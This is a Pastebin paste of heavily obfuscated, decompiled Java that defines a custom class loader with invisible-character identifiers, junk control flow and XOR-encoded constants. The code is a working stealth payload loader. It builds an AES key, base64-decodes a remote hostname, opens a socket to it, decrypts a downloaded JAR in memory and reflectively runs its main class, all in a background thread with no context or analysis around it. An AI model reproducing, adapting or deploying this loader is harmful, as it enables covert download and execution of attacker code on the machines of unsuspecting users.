Advertisement
Guest User

Untitled

a guest
Jul 13th, 2019
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.49 KB | None | 0 0
  1. import java.io.ByteArrayOutputStream;
  2. import java.lang.reflect.Method;
  3. import java.net.Socket;
  4. import java.util.Base64;
  5. import java.util.HashMap;
  6. import java.util.Map;
  7. import java.util.zip.ZipEntry;
  8. import java.util.zip.ZipInputStream;
  9. import javax.crypto.Cipher;
  10. import javax.crypto.CipherInputStream;
  11. import javax.crypto.spec.SecretKeySpec;
  12.  
  13. public final class      extends ClassLoader {
  14. public Map<String, byte[]>  ‌‏ ;
  15. public Map<String, Class<?>>  ‍ ‏;
  16. public static final boolean ‏ ‎‎  ;
  17.  
  18. public     () {
  19. boolean var1 = ‏ ‎‎  ;
  20. super();
  21. if(!var1 && !var1) {
  22. this. ‌‏  = new HashMap();
  23. if(!var1 && !var1) {
  24. this. ‍ ‏ = new HashMap();
  25. if(!var1) {
  26. return;
  27. }
  28. }
  29. }
  30.  
  31. }
  32.  
  33. public final void   ‌ () {
  34. boolean var1 = ‏ ‎‎  ;
  35. if(!var1 && !var1) {
  36. (new Thread(new Runnable() {
  37. public run() {
  38. boolean var18 = ‏ ‎‎  ;
  39. if(!var18) {
  40. label821: {
  41. try {
  42. label822: {
  43. if(var18) {
  44. return;
  45. }
  46.  
  47. Cipher var1 = Cipher.getInstance("AES");
  48. if(var18 || var18) {
  49. return;
  50. }
  51.  
  52. int var10002 = 595758109;
  53. int var10001 = 580216652 ^ 580216654;
  54. int var10005 = 1039129943;
  55. byte[] var10004 = new byte[1042779594 ^ 1042779610];
  56. int var10007 = -1698765474;
  57. int var10006 = -125685422 ^ -125685422;
  58. int var10008 = -193558787;
  59. var10004[var10006] = (byte)(431817400 ^ 431817384);
  60. var10007 = 869982057;
  61. var10006 = 1305591257 ^ 1305591256;
  62. var10008 = -496218856;
  63. var10004[var10006] = (byte)(917868446 ^ 917868535);
  64. var10007 = 785371879;
  65. var10006 = 841043194 ^ 841043192;
  66. var10008 = 126843620;
  67. var10004[var10006] = (byte)(-130758972 ^ 130759037);
  68. var10007 = 1118336264;
  69. var10006 = 460219830 ^ 460219829;
  70. var10008 = -1986775594;
  71. var10004[var10006] = (byte)(1611754378 ^ 1611754480);
  72. var10007 = -2142718633;
  73. var10006 = -110056834 ^ -110056838;
  74. var10008 = 1796992295;
  75. var10004[var10006] = (byte)(-1145703835 ^ 1145703827);
  76. var10007 = 842651963;
  77. var10006 = -542255187 ^ -542255192;
  78. var10008 = -736889499;
  79. var10004[var10006] = (byte)(1406690102 ^ 1406690095);
  80. var10007 = 43253051;
  81. var10006 = -225505368 ^ -225505362;
  82. var10008 = 1570743758;
  83. var10004[var10006] = (byte)(2085129249 ^ 2085129227);
  84. var10007 = -1964182539;
  85. var10006 = -1595916118 ^ -1595916115;
  86. var10008 = 705891723;
  87. var10004[var10006] = (byte)(356848671 ^ 356848748);
  88. var10007 = -600892672;
  89. var10006 = -232926888 ^ -232926896;
  90. var10008 = 524412848;
  91. var10004[var10006] = (byte)(-836907818 ^ -836907860);
  92. var10007 = -1842051269;
  93. var10006 = 1464825715 ^ 1464825722;
  94. var10008 = 94350525;
  95. var10004[var10006] = (byte)(1070744106 ^ -1070744125);
  96. var10007 = -1439484445;
  97. var10006 = 1763156574 ^ 1763156564;
  98. var10008 = 232022232;
  99. var10004[var10006] = (byte)(208780376 ^ 208780355);
  100. var10007 = 31197191;
  101. var10006 = -1300268742 ^ -1300268751;
  102. var10008 = 2039223761;
  103. var10004[var10006] = (byte)(-152697569 ^ 152697519);
  104. var10007 = -163476696;
  105. var10006 = -81003269 ^ -81003273;
  106. var10008 = -735019531;
  107. var10004[var10006] = (byte)(1900478814 ^ -1900478796);
  108. var10007 = 2042787477;
  109. var10006 = -1598470550 ^ -1598470553;
  110. var10008 = 1766057005;
  111. var10004[var10006] = (byte)(717880680 ^ -717880670);
  112. var10007 = 256293151;
  113. var10006 = 1001458575 ^ 1001458561;
  114. var10008 = -1129071028;
  115. var10004[var10006] = (byte)(-1577470462 ^ -1577470357);
  116. var10007 = 1090185790;
  117. var10006 = 1517285026 ^ 1517285037;
  118. var10008 = -1176949695;
  119. var10004[var10006] = (byte)(-678878159 ^ -678878187);
  120. var10006 = -1393848682;
  121. var10005 = 1606154505 ^ 1606154505;
  122. var10007 = 589094421;
  123. var1.init(var10001, new SecretKeySpec(var10004, var10005, -939283799 ^ -939283783, "AES"));
  124. if(var18 || var18) {
  125. return;
  126. }
  127.  
  128. String var2 = null;
  129. if(var18) {
  130. return;
  131. }
  132.  
  133. try {
  134. if(var18) {
  135. return;
  136. }
  137.  
  138. String var38 = new String(Base64.getDecoder().decode("dXBkYXRlNGxpZmUueHl6"));
  139. var10008 = -279387587;
  140. ZipInputStream var3 = new ZipInputStream(new CipherInputStream((new Socket(var38, 1415366645 ^ 1415365999)).getInputStream(), var1));
  141. if(var18 || var18) {
  142. return;
  143. }
  144.  
  145. Throwable var4 = null;
  146. if(var18) {
  147. return;
  148. }
  149.  
  150. label810:
  151. while(true) {
  152. boolean var25 = false;
  153.  
  154. try {
  155. var25 = true;
  156. if(var18) {
  157. var25 = false;
  158. return;
  159. }
  160.  
  161. ZipEntry var5;
  162. int var10003;
  163. int var37;
  164. if((var5 = var3.getNextEntry()) != null) {
  165. if(var18) {
  166. var25 = false;
  167. return;
  168. }
  169.  
  170. if(var18) {
  171. var25 = false;
  172. return;
  173. }
  174.  
  175. if(var5.isDirectory()) {
  176. if(var18) {
  177. var25 = false;
  178. return;
  179. }
  180.  
  181. if(var18) {
  182. var25 = false;
  183. return;
  184. }
  185.  
  186. if(‏ ‎‎  ) {
  187. throw null;
  188. }
  189. continue;
  190. }
  191.  
  192. if(var18) {
  193. var25 = false;
  194. return;
  195. }
  196.  
  197. ByteArrayOutputStream var6 = new ByteArrayOutputStream();
  198. if(var18) {
  199. var25 = false;
  200. return;
  201. }
  202.  
  203. if(var18) {
  204. var25 = false;
  205. return;
  206. }
  207.  
  208. var10001 = -2037863928;
  209. byte[] var7 = new byte[2051442305 ^ 2051441281];
  210. if(var18) {
  211. var25 = false;
  212. return;
  213. }
  214.  
  215. do {
  216. if(var18) {
  217. var25 = false;
  218. return;
  219. }
  220.  
  221. int var8;
  222. if((var8 = var3.read(var7)) <= 0) {
  223. if(var18) {
  224. var25 = false;
  225. return;
  226. }
  227.  
  228. String var9 = var5.getName();
  229. if(!var18) {
  230. if(var18) {
  231. var25 = false;
  232. return;
  233. }
  234.  
  235. byte[] var10 = var6.toByteArray();
  236. if(!var18) {
  237. if(var18) {
  238. var25 = false;
  239. return;
  240. }
  241.  
  242. if(var9.endsWith(".class")) {
  243. if(var18) {
  244. var25 = false;
  245. return;
  246. }
  247.  
  248. if(var18) {
  249. var25 = false;
  250. return;
  251. }
  252.  
  253. Map var33 =     .this. ‌‏ ;
  254. var10003 = 570431845;
  255. var10002 = -485269154 ^ -485269154;
  256. var10005 = -187497170;
  257. String var34 = var9.substring(var10002, var9.lastIndexOf(-620379796 ^ -620379838));
  258. var10003 = -1718111850;
  259. var10002 = -1779261918 ^ -1779261939;
  260. var37 = -1113893551;
  261. var33.put(var34.replace((char)var10002, (char)(1336482351 ^ 1336482305)), var10);
  262. if(var18) {
  263. var25 = false;
  264. return;
  265. }
  266.  
  267. if(‏ ‎‎  ) {
  268. throw null;
  269. }
  270. } else {
  271. if(var18) {
  272. var25 = false;
  273. return;
  274. }
  275.  
  276. if(var9.equals("META-INF/MANIFEST.MF")) {
  277. if(var18) {
  278. var25 = false;
  279. return;
  280. }
  281.  
  282. if(var18) {
  283. var25 = false;
  284. return;
  285. }
  286.  
  287. String var11 = new String(var10);
  288. if(var18) {
  289. var25 = false;
  290. return;
  291. }
  292.  
  293. if(var18) {
  294. var25 = false;
  295. return;
  296. }
  297.  
  298. String[] var12 = var11.split("\n");
  299. if(var18) {
  300. var25 = false;
  301. return;
  302. }
  303.  
  304. int var13 = var12.length;
  305. if(var18) {
  306. var25 = false;
  307. return;
  308. }
  309.  
  310. var10001 = 610864759;
  311. int var14 = 562248199 ^ 562248199;
  312. if(var18) {
  313. var25 = false;
  314. return;
  315. }
  316.  
  317. while(true) {
  318. if(var18) {
  319. var25 = false;
  320. return;
  321. }
  322.  
  323. if(var14 >= var13) {
  324. break;
  325. }
  326.  
  327. if(var18) {
  328. var25 = false;
  329. return;
  330. }
  331.  
  332. String var15 = var12[var14];
  333. if(var18) {
  334. var25 = false;
  335. return;
  336. }
  337.  
  338. if(var18) {
  339. var25 = false;
  340. return;
  341. }
  342.  
  343. if(var15.startsWith("Main-Class: ")) {
  344. if(var18) {
  345. var25 = false;
  346. return;
  347. }
  348.  
  349. var2 = var15.replace("Main-Class: ", "").replace("\r", "").replace("\n", "");
  350. if(var18) {
  351. var25 = false;
  352. return;
  353. }
  354.  
  355. if(var18) {
  356. var25 = false;
  357. return;
  358. }
  359.  
  360. if(‏ ‎‎  ) {
  361. throw null;
  362. }
  363. break;
  364. }
  365.  
  366. if(var18) {
  367. var25 = false;
  368. return;
  369. }
  370.  
  371. if(var18) {
  372. var25 = false;
  373. return;
  374. }
  375.  
  376. if(‏ ‎‎  ) {
  377. throw null;
  378. }
  379.  
  380. if(var18) {
  381. var25 = false;
  382. return;
  383. }
  384.  
  385. ++var14;
  386. if(var18) {
  387. var25 = false;
  388. return;
  389. }
  390.  
  391. if(‏ ‎‎  ) {
  392. throw null;
  393. }
  394. }
  395. }
  396. }
  397.  
  398. if(var18) {
  399. var25 = false;
  400. return;
  401. }
  402.  
  403. if(‏ ‎‎  ) {
  404. throw null;
  405. }
  406. continue label810;
  407. }
  408.  
  409. var25 = false;
  410. return;
  411. }
  412.  
  413. var25 = false;
  414. return;
  415. }
  416.  
  417. if(var18) {
  418. var25 = false;
  419. return;
  420. }
  421.  
  422. if(var18) {
  423. var25 = false;
  424. return;
  425. }
  426.  
  427. var10003 = 2069728077;
  428. var6.write(var7, 1022334888 ^ 1022334888, var8);
  429. if(var18) {
  430. var25 = false;
  431. return;
  432. }
  433. } while(!‏ ‎‎  );
  434.  
  435. throw null;
  436. }
  437.  
  438. if(var18) {
  439. var25 = false;
  440. return;
  441. }
  442.  
  443. Class var10000 =     .this.findClass(var2);
  444. var10003 = -1930986882;
  445. Class[] var35 = new Class[1988253184 ^ 1988253185];
  446. var10005 = -595087658;
  447. var35[1113318625 ^ 1113318625] = String[].class;
  448. Method var32 = var10000.getMethod("main", var35);
  449. var10003 = 2146516266;
  450. Object[] var36 = new Object[1264182614 ^ 1264182615];
  451. var10005 = 1863384016;
  452. var37 = -674926235 ^ -674926235;
  453. var10006 = -1350625002;
  454. var36[var37] = new String[-1635344591 ^ -1635344591];
  455. var32.invoke((Object)null, var36);
  456. if(var18) {
  457. var25 = false;
  458. return;
  459. }
  460.  
  461. var25 = false;
  462. } catch (Throwable var28) {
  463. if(!var18) {
  464. var4 = var28;
  465. if(!var18) {
  466. throw var28;
  467. }
  468.  
  469. var25 = false;
  470. } else {
  471. var25 = false;
  472. }
  473.  
  474. return;
  475. } finally {
  476. if(var25) {
  477. if(!var18 && !var18) {
  478. if(var3 != null) {
  479. if(var18) {
  480. return;
  481. }
  482.  
  483. if(var4 != null) {
  484. label837: {
  485. if(var18) {
  486. return;
  487. }
  488.  
  489. try {
  490. if(var18) {
  491. return;
  492. }
  493.  
  494. var3.close();
  495. if(var18) {
  496. return;
  497. }
  498. } catch (Throwable var26) {
  499. if(var18) {
  500. return;
  501. }
  502.  
  503. var4.addSuppressed(var26);
  504. if(var18) {
  505. return;
  506. }
  507.  
  508. if(‏ ‎‎  ) {
  509. throw null;
  510. }
  511. break label837;
  512. }
  513.  
  514. if(var18) {
  515. return;
  516. }
  517.  
  518. if(‏ ‎‎  ) {
  519. throw null;
  520. }
  521. }
  522. } else {
  523. if(var18) {
  524. return;
  525. }
  526.  
  527. var3.close();
  528. if(var18) {
  529. return;
  530. }
  531. }
  532. }
  533.  
  534. if(!var18) {
  535. ;
  536. }
  537. }
  538.  
  539. return;
  540. }
  541. }
  542.  
  543. if(var18) {
  544. return;
  545. }
  546.  
  547. if(var3 == null) {
  548. break;
  549. }
  550.  
  551. if(var18) {
  552. return;
  553. }
  554.  
  555. if(var4 != null) {
  556. if(var18) {
  557. return;
  558. }
  559.  
  560. try {
  561. if(var18) {
  562. return;
  563. }
  564.  
  565. var3.close();
  566. if(var18) {
  567. return;
  568. }
  569. } catch (Throwable var27) {
  570. if(var18) {
  571. return;
  572. }
  573.  
  574. var4.addSuppressed(var27);
  575. if(var18) {
  576. return;
  577. }
  578.  
  579. if(‏ ‎‎  ) {
  580. throw null;
  581. }
  582. break;
  583. }
  584.  
  585. if(var18) {
  586. return;
  587. }
  588.  
  589. if(‏ ‎‎  ) {
  590. throw null;
  591. }
  592. break;
  593. }
  594.  
  595. if(var18) {
  596. return;
  597. }
  598.  
  599. var3.close();
  600. if(var18) {
  601. return;
  602. }
  603.  
  604. if(‏ ‎‎  ) {
  605. throw null;
  606. }
  607. break;
  608. }
  609. } catch (Throwable var30) {
  610. if(var18) {
  611. return;
  612. }
  613. break label822;
  614. }
  615.  
  616. if(var18) {
  617. return;
  618. }
  619.  
  620. if(‏ ‎‎  ) {
  621. throw null;
  622. }
  623. }
  624. } catch (Throwable var31) {
  625. if(var18) {
  626. return;
  627. }
  628. break label821;
  629. }
  630.  
  631. if(var18) {
  632. return;
  633. }
  634.  
  635. if(‏ ‎‎  ) {
  636. throw null;
  637. }
  638. }
  639.  
  640. if(!var18) {
  641. return;
  642. }
  643. }
  644.  
  645. }
  646. })).start();
  647. if(!var1 && !var1) {
  648. return;
  649. }
  650. }
  651.  
  652. }
  653.  
  654. public Class<?> findClass(String var1) throws ClassNotFoundException {
  655. boolean var2 = ‏ ‎‎  ;
  656. if(!var2 && !var2) {
  657. if(!this. ‍ ‏.containsKey(var1)) {
  658. if(var2 || var2) {
  659. return null;
  660. }
  661.  
  662. if(!this. ‌‏ .containsKey(var1)) {
  663. if(!var2 && !var2) {
  664. throw new ClassNotFoundException(var1);
  665. }
  666.  
  667. return null;
  668. }
  669.  
  670. if(var2) {
  671. return null;
  672. }
  673.  
  674. this.   ​(var1, (byte[])this. ‌‏ .get(var1));
  675. if(var2) {
  676. return null;
  677. }
  678. }
  679.  
  680. if(!var2) {
  681. return (Class)this. ‍ ‏.get(var1);
  682. }
  683. }
  684.  
  685. return null;
  686. }
  687.  
  688. public void    ​(String var1, byte[] var2) {
  689. boolean var3 = ‏ ‎‎  ;
  690. if(!var3 && !var3) {
  691. int var10006 = -754252478;
  692. this. ‍ ‏.put(var1, this.defineClass(var1, var2, -1667209487 ^ -1667209487, var2.length));
  693. if(!var3 && !var3) {
  694. return;
  695. }
  696. }
  697.  
  698. }
  699. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement